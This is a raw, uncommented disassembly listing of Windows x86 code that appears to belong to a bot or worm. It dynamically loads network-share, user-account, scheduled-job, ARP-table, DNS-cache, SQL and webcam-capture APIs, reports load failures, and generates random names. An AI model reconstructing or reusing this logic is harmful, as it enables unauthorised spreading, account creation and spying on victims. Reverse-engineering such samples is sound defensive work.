		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CBA8C, eax
		call	esi
		cmp	dword_4CB95C, ebx
		mov	dword_4CB8EC, eax
		jz	short loc_40A25D
		cmp	dword_4CBA8C, ebx
		jz	short loc_40A25D
		cmp	eax, ebx
		jnz	short loc_40A267
		jmp	short loc_40A25D
; ---------------------------------------------------------------------------


loc_40A252:				; CODE XREF: sub_409909+90Aj
		nop
		call	near ptr 2680972h
		mov	dword_4CBAC8, eax


loc_40A25D:				; CODE XREF: sub_409909+939j
					; sub_409909+941j ...
		mov	dword_4CBAC4, 1


loc_40A267:				; CODE XREF: sub_409909+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A36E
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CB8C8, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CB8A0, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CB918, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CB94C, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CBA64, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CB900, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CB8AC, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CB89C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CB934, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CBA2C, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CB9E4, eax
		call	esi
		cmp	dword_4CB8C8, ebx
		mov	dword_4CB908, eax
		jz	short loc_40A379
		cmp	dword_4CB8A0, ebx
		jz	short loc_40A379
		cmp	dword_4CB918, ebx
		jz	short loc_40A379
		cmp	dword_4CB94C, ebx
		jz	short loc_40A379
		cmp	dword_4CBA64, ebx
		jz	short loc_40A379
		cmp	dword_4CB900, ebx
		jz	short loc_40A379
		cmp	dword_4CB8AC, ebx
		jz	short loc_40A379
		cmp	dword_4CB89C, ebx
		jz	short loc_40A379
		cmp	dword_4CB934, ebx
		jz	short loc_40A379
		cmp	dword_4CBA2C, ebx
		jz	short loc_40A379
		cmp	dword_4CB9E4, ebx
		jnz	short loc_40A383
		jmp	short loc_40A379
; ---------------------------------------------------------------------------


loc_40A36E:				; CODE XREF: sub_409909+969j
		nop
		call	near ptr 2680972h
		mov	dword_4CBAD0, eax


loc_40A379:				; CODE XREF: sub_409909+A11j
					; sub_409909+A19j ...
		mov	dword_4CBACC, 1


loc_40A383:				; CODE XREF: sub_409909+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3B8
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CB8F0, eax
		call	esi
		cmp	dword_4CB8F0, ebx
		mov	dword_4CB9CC, eax
		jz	short loc_40A3C3
		cmp	eax, ebx
		jnz	short loc_40A3CD
		jmp	short loc_40A3C3
; ---------------------------------------------------------------------------


loc_40A3B8:				; CODE XREF: sub_409909+A85j
		nop
		call	near ptr 2680972h
		mov	dword_4CBAD8, eax


loc_40A3C3:				; CODE XREF: sub_409909+AA7j
					; sub_409909+AADj
		mov	dword_4CBAD4, 1


loc_40A3CD:				; CODE XREF: sub_409909+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A402
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CBA50, eax
		call	esi
		cmp	dword_4CBA50, ebx
		mov	dword_4CBA4C, eax
		jz	short loc_40A40D
		cmp	eax, ebx
		jnz	short loc_40A417
		jmp	short loc_40A40D
; ---------------------------------------------------------------------------


loc_40A402:				; CODE XREF: sub_409909+ACFj
		nop
		call	near ptr 2680972h
		mov	dword_4CBAE0, eax


loc_40A40D:				; CODE XREF: sub_409909+AF1j
					; sub_409909+AF7j
		mov	dword_4CBADC, 1


loc_40A417:				; CODE XREF: sub_409909+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A476
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CBA7C, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CBA74, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CBA3C, eax
		call	esi
		cmp	dword_4CBA7C, ebx
		mov	dword_4CB90C, eax
		jz	short loc_40A481
		cmp	dword_4CBA74, ebx
		jz	short loc_40A481
		cmp	dword_4CBA3C, ebx
		jz	short loc_40A481
		cmp	eax, ebx
		jnz	short loc_40A48B
		jmp	short loc_40A481
; ---------------------------------------------------------------------------


loc_40A476:				; CODE XREF: sub_409909+B19j
		nop
		call	near ptr 2680972h
		mov	dword_4CBAE8, eax


loc_40A481:				; CODE XREF: sub_409909+B55j
					; sub_409909+B5Dj ...
		mov	dword_4CBAE4, 1


loc_40A48B:				; CODE XREF: sub_409909+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A4C0
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CB940, eax
		call	esi
		cmp	dword_4CB940, ebx
		mov	dword_4CBA48, eax
		jz	short loc_40A4CB
		cmp	eax, ebx
		jnz	short loc_40A4D5
		jmp	short loc_40A4CB
; ---------------------------------------------------------------------------


loc_40A4C0:				; CODE XREF: sub_409909+B8Dj
		call	near ptr 2680972h
		nop
		mov	dword_4CBAF0, eax


loc_40A4CB:				; CODE XREF: sub_409909+BAFj
					; sub_409909+BB5j
		mov	dword_4CBAEC, 1


loc_40A4D5:				; CODE XREF: sub_409909+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A55E
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CBA10, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CBA5C, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CB998, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CB950, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CB9F0, eax
		call	esi
		cmp	dword_4CBA10, ebx
		mov	dword_4CB960, eax
		jz	short loc_40A569
		cmp	dword_4CBA5C, ebx
		jz	short loc_40A569
		cmp	dword_4CB998, ebx
		jz	short loc_40A569
		cmp	dword_4CB950, ebx
		jz	short loc_40A569
		cmp	dword_4CB9F0, ebx
		jz	short loc_40A569
		cmp	eax, ebx
		jnz	short loc_40A573
		jmp	short loc_40A569
; ---------------------------------------------------------------------------


loc_40A55E:				; CODE XREF: sub_409909+BD7j
		call	near ptr 2680972h
		nop
		mov	dword_4CBAF8, eax


loc_40A569:				; CODE XREF: sub_409909+C2Dj
					; sub_409909+C35j ...
		mov	dword_4CBAF4, 1


loc_40A573:				; CODE XREF: sub_409909+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5A8
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CB924, eax
		call	esi
		cmp	dword_4CB924, ebx
		mov	dword_4CBA04, eax
		jz	short loc_40A5B3
		cmp	eax, ebx
		jnz	short loc_40A5BD
		jmp	short loc_40A5B3
; ---------------------------------------------------------------------------


loc_40A5A8:				; CODE XREF: sub_409909+C75j
		nop
		call	near ptr 2680972h
		mov	dword_4CBB00, eax


loc_40A5B3:				; CODE XREF: sub_409909+C97j
					; sub_409909+C9Dj
		mov	dword_4CBAFC, 1


loc_40A5BD:				; CODE XREF: sub_409909+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409909	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5C5	proc near		; CODE XREF: sub_401ACD+2511p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CBA94, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A60D
		push	dword_4CBA98
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A60D:				; CODE XREF: sub_40A5C5+1Aj
		cmp	dword_4CBA9C, esi
		jz	short loc_40A641
		push	dword_4CBAA0
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A641:				; CODE XREF: sub_40A5C5+4Ej
		cmp	dword_4CBAA4, esi
		jz	short loc_40A675
		push	dword_4CBAA8
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A675:				; CODE XREF: sub_40A5C5+82j
		cmp	dword_4CBAAC, esi
		jz	short loc_40A6A9
		push	dword_4CBAB0
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A6A9:				; CODE XREF: sub_40A5C5+B6j
		cmp	dword_4CBAB4, esi
		jz	short loc_40A6DD
		push	dword_4CBAB8
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A6DD:				; CODE XREF: sub_40A5C5+EAj
		cmp	dword_4CBABC, esi
		jz	short loc_40A711
		push	dword_4CBAC0
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A711:				; CODE XREF: sub_40A5C5+11Ej
		cmp	dword_4CBAC4, esi
		jz	short loc_40A745
		push	dword_4CBAC8
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A745:				; CODE XREF: sub_40A5C5+152j
		cmp	dword_4CBACC, esi
		jz	short loc_40A779
		push	dword_4CBAD0
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A779:				; CODE XREF: sub_40A5C5+186j
		cmp	dword_4CBAD4, esi
		jz	short loc_40A7AD
		push	dword_4CBAD8
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A7AD:				; CODE XREF: sub_40A5C5+1BAj
		cmp	dword_4CBADC, esi
		jz	short loc_40A7E1
		push	dword_4CBAE0
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A7E1:				; CODE XREF: sub_40A5C5+1EEj
		cmp	dword_4CBAE4, esi
		jz	short loc_40A815
		push	dword_4CBAE8
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A815:				; CODE XREF: sub_40A5C5+222j
		cmp	dword_4CBAEC, esi
		jz	short loc_40A849
		push	dword_4CBAF0
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A849:				; CODE XREF: sub_40A5C5+256j
		cmp	dword_4CBAF4, esi
		jz	short loc_40A87D
		push	dword_4CBAF8
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A87D:				; CODE XREF: sub_40A5C5+28Aj
		cmp	dword_4CBAFC, esi
		jz	short loc_40A8B1
		push	dword_4CBB00
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax


loc_40A897:				; DATA XREF: ___:0043320Co
					; ___:00433250o ...
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A8B1:				; CODE XREF: sub_40A5C5+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D6C4
		push	eax
		call	sub_41C266
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A8DE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_40A8DE:				; CODE XREF: sub_40A5C5+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A5C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A8F0	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5BC5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40A918
		push	[esp+arg_0]
		call	dword_4CBA58
		test	eax, eax
		jnz	short loc_40A911
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40A911:				; CODE XREF: sub_40A8F0+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40A918:				; CODE XREF: sub_40A8F0+Dj
		retn
sub_40A8F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A919	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CB8F0
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40A927
		call	ecx

locret_40A927:				; CODE XREF: sub_40A919+Aj
		retn
sub_40A919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A928	proc near		; CODE XREF: sub_401ACD:loc_403F03p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CBA50
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40A9EE
		sub	ecx, 32h
		jz	loc_40A9E7
		sub	ecx, 48h
		jz	short loc_40A988
		sub	ecx, 6Eh
		jz	short loc_40A981


loc_40A96A:				; CODE XREF: sub_40A928+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42D8D8
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	short loc_40A9C8
; ---------------------------------------------------------------------------


loc_40A981:				; CODE XREF: sub_40A928+40j
		push	offset unk_42D8B4
		jmp	short loc_40A9BA
; ---------------------------------------------------------------------------


loc_40A988:				; CODE XREF: sub_40A928+3Bj
		push	[ebp+var_8]
		call	sub_41BEB5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41BF70
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40A9B5
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CBA50
		cmp	eax, edi
		jz	short loc_40A9EE
		jmp	short loc_40A96A
; ---------------------------------------------------------------------------


loc_40A9B5:				; CODE XREF: sub_40A928+79j
		push	offset unk_42D884


loc_40A9BA:				; CODE XREF: sub_40A928+5Ej
					; sub_40A928+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40A9C8:				; CODE XREF: sub_40A928+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_415D38
		pop	ecx


loc_40A9D8:				; CODE XREF: sub_40A928+C8j
					; sub_40A928+DCj
		push	esi
		call	sub_41BA91
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A9E7:				; CODE XREF: sub_40A928+32j
		push	offset unk_42D854
		jmp	short loc_40A9BA
; ---------------------------------------------------------------------------


loc_40A9EE:				; CODE XREF: sub_40A928+29j
					; sub_40A928+89j
		cmp	[esi], edi
		jbe	short loc_40A9D8
		lea	ebx, [esi+4]


loc_40A9F5:				; CODE XREF: sub_40A928+DAj
		push	ebx
		call	dword_4CBA4C
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40A9F5
		jmp	short loc_40A9D8
sub_40A928	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA06	proc near		; CODE XREF: sub_401ACD+21EDp
					; sub_401ACD+233Ep ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB978
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CBB04
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41C266
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AA06	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA5F	proc near		; CODE XREF: sub_413694+24Cp
					; sub_413694+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AA88
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AA7B:				; CODE XREF: sub_40AA5F+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AA7B
		pop	edi
		jmp	short loc_40AA8C
; ---------------------------------------------------------------------------


loc_40AA88:				; CODE XREF: sub_40AA5F+Aj
		mov	edx, [esp+4+arg_0]


loc_40AA8C:				; CODE XREF: sub_40AA5F+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AA96
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40AA96:				; CODE XREF: sub_40AA5F+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AA5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAAC	proc near		; CODE XREF: sub_40AE84+49p
					; DATA XREF: ___:off_42D920o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		nop
		call	near ptr 269083Ah
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42D99C[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AB14


loc_40AAEE:				; CODE XREF: sub_40AAAC+66j
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AAEE


loc_40AB14:				; CODE XREF: sub_40AAAC+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40AAAC	endp

; ---------------------------------------------------------------------------
		db 56h,	57h, 90h
		dd 285D19E8h, 91E85002h, 8B000117h, 0C710247Ch,	91382404h
		dd 0B4680042h, 6A0042CCh, 21E8571Ch, 33000118h,	10C483F6h
		dd 90983539h, 267E0042h, 11771E8h, 990A6A00h, 52F9F759h
		dd 0B89C6857h, 1C6A0042h, 17FAE857h, 0C4830001h, 353B4614h
		dd 429098h, 0C78BDA7Ch
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AB77	proc near		; CODE XREF: sub_401ACD+68EEp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 269083Ah
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ABBA


loc_40ABA4:				; CODE XREF: sub_40AB77+41j
		call	sub_41C2C2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ABA4


loc_40ABBA:				; CODE XREF: sub_40AB77+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AB77	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	near ptr 269083Ah
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_4315F4
		push	eax
		push	esi
		nop
		call	near ptr 26C0000h
		movsx	eax, byte_4315F4
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40AC00:				; CODE XREF: ___:0040AC0Bj
		cmp	eax, ecx
		jnz	short loc_40AC07
		mov	[ebp-4], edx


loc_40AC07:				; CODE XREF: ___:0040AC02j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AC00
		push	61h
		pop	ecx


loc_40AC10:				; CODE XREF: ___:0040AC1Bj
		cmp	eax, ecx
		jnz	short loc_40AC17
		mov	[ebp-4], edx


loc_40AC17:				; CODE XREF: ___:0040AC12j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AC10
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AC5C


loc_40AC36:				; CODE XREF: ___:0040AC5Aj
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AC36


loc_40AC5C:				; CODE XREF: ___:0040AC34j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 269083Ah
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26D0000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_4315F8
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40ACD1


loc_40ACAB:				; CODE XREF: ___:0040ACCFj
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACAB


loc_40ACD1:				; CODE XREF: ___:0040ACA9j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_43DB88
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 26D04D8h
		call	near ptr 269083Ah
		nop
		push	eax
		call	sub_41C2B8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AD5B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AD3B
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AD2B
		mov	esi, offset dword_431620


loc_40AD2B:				; CODE XREF: ___:0040AD24j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AD97
		mov	esi, offset dword_43161C
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD3B:				; CODE XREF: ___:0040AD1Bj
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AD4B
		mov	esi, offset dword_431618
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD4B:				; CODE XREF: ___:0040AD42j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AD92
		mov	esi, offset dword_431614
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD5B:				; CODE XREF: ___:0040AD12j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AD92
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AD74
		mov	esi, offset dword_431610
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD74:				; CODE XREF: ___:0040AD6Bj
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AD84
		mov	esi, offset dword_43160C
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD84:				; CODE XREF: ___:0040AD7Bj
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_431608
